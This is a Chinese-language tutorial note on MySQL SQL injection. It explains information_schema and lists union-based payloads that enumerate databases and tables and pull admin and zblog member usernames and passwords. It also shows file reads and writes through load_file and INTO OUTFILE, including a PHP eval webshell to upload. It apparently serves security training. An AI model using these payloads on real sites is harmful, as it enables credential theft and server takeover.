Ⅰ 数据库管理方式

mysql里面有内置的管理用户,其中root就是默认数据库管理员用户,网站上面的数据库都在mysql中,由root或一对一用户去管理。

1、数据库root(自带默认)统一管理

每个网站的数据库都由root用户统一管理。

1
2
3
4
mysql
root(自带默认)
网站A testA
网站B testB

2、数据库一对一管理(不同用户)【推荐】

自己的网站单独创建数据库用户去管理自己的数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mysql
数据库名A
表名
列名(字段)
数据
数据库名B
表名
列名(字段)
数据

Assess(单个)
表名
列名(字段)
数据

目的:获取数据

肯定可以一步步得到信息

Ⅱ SQL注入

MYSQL注入思路:(目的获取当前web权限)

1、判断常见四个信息(系统,用户,数据库名,版本)

2、根据四个信息去选择方案

root用户:先测试读写,后测试获取数据

非root用户:直接测试获取数据

2.1ACCESS SQLMAP

access sqlmap爆破依赖字典,不一定能猜到表名列名。

2.2 SQL注入原理

接受的参数值未进行过滤直接带入SQL查询的操作,就是SQL注入产生的原理。

攻击:利用SQL语句执行你想要的东西(SQL语句能干嘛,注入就能干嘛)

SQL语句能干嘛 = SQL语句由谁决定 => 数据库类型决定 (为什么mysql注入 oracle注入叫法原因)

2.3 PHP-MYSQL-SQL常规查询

1、数据库版本-看是否符合information_schema查询-version():mysql5.0以上

2、数据库用户-看是否符合ROOT型注入攻击-user():是否可跨库查询

3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os

4、数据库名字-为后期猜解指定数据库下的表,列做准备-database()

2.2.1 information_schema

MYSQL5.0以上版本:自带的数据库名information_schema

information_schema:存储数据库下的数据库名及表名,列名信息的数据库

information_schema.schemata:记录数据库名信息的表

information_schema.tables:记录表名信息的表

information_schema.columns:记录列名信息表

schema_name:information_schema.schemata记录数据库名信息的列名值

table_schema:information_schema.tables记录数据库名的列名值

table_name:information_schema.tables记录表名的列名值

column_name:information_schema.columns记录列名的列名值

2.2.2 MYSQL注入查询含义 - 依赖information_schema

1、order by {阿拉伯数字} :查询一共有几列列名;

2、union select 1,2,3,4,5,6 :看页面回显的数字,可以将其替换成所需目标信息(版本号、数据库名、操作系统等等);

3、verson()database()user()@@version_complie_os

4、group_concat() :拼接字符串。将group by产生的同一个分组中的值连接起来,返回一个字符串结果。

4.1、group_concat()语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ‘分隔符’] ) 中括号可选

4.2、MySQL中concat()、concat_ws()、group_concat()函数使用技巧与心得:https://zhuanlan.zhihu.com/p/257399676

5、from information_schema.tables where table_schema='demo01' 固定数据库名(前面查到的datebase());

6、from information_schema.columns where table_name='admin' 固定表名(5步骤查到了)

7、limit:

1
2
3
4
5
6
7
8
9
10
11
12
13
order by 6 
union select 1,2,3,4,5,6
union select 1,2,3,database(),user(),6
union select 1,2,3,version(),@@version_compile_os,6

#5查询数据库名demo01下的表名信息(借助information_schema.tables存储查询)
union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01'

#6查询数据库名demo01下的表名admin的列名信息(借助information_schema.columns存储查询)
union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_schema='demo01' and table_name='admin'

#7知道表名列名可以一步到位查询
union select 1,2,3,username,password,6 from admin limit 0,1

2.4 PHP-MYSQL-SQL跨库查询(第一种数据库管理方式root导致)

2.4.1 跨库查询概念

含义:通过B网站的注入点获取A网站的账号密码

影响条件:当前数据库ROOT用户权限

测试不同数据库用户:root demo

2.4.2跨库示例
1
2
3
4
5
6
7
8
#获取mysql下所有数据库名:
http://IP/new.php?id=1 union select 1,2,3,group_concat(schema_name),5,6 from information_schema.schemata
#获取zblog数据库中的表名:
http://IP/new.php?id=1 union select 1,2,3,group_concat(table_name),5,6 from information_schema.tables where table_schema='zblog'
#获取zbp_member表中的列名:
http://IP/new.php?id=1 union select 1,2,3,group_concat(column_name),5,6 from information_schema.columns where table_schema='zblog' and table_name='zbp_member'

union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member

解决:单引号过滤绕过方式

SQL注入语句中用单引号就不要编码,编码就不用单引号(路径,表名,数据库名等)

2.5文件读写(已少见)

影响条件

1、当前数据库用户权限:测试不同数据库用户(root demo)

2、secure-file-priv设置路径限定,则无法文件读写上传后门

示例
1
2
3
4
#可单引号中加后门上传<?php eval($_POST[x]);?>
union select 1,load_file('d:\\1.txt'),3,4,5,6
#outfile后的读写路径还需寻找
union select 1,'xiaodi',3,4,5,6 into outfile 'd:\\2.txt'

注:文件路径也可用编码上传

读写的路径的问题

1、报错显示获取路径

2、phpinfo页面泄漏

如果不知道路径,思路:

利用常见的默认的中间件,数据库等安装路径读取有价值信息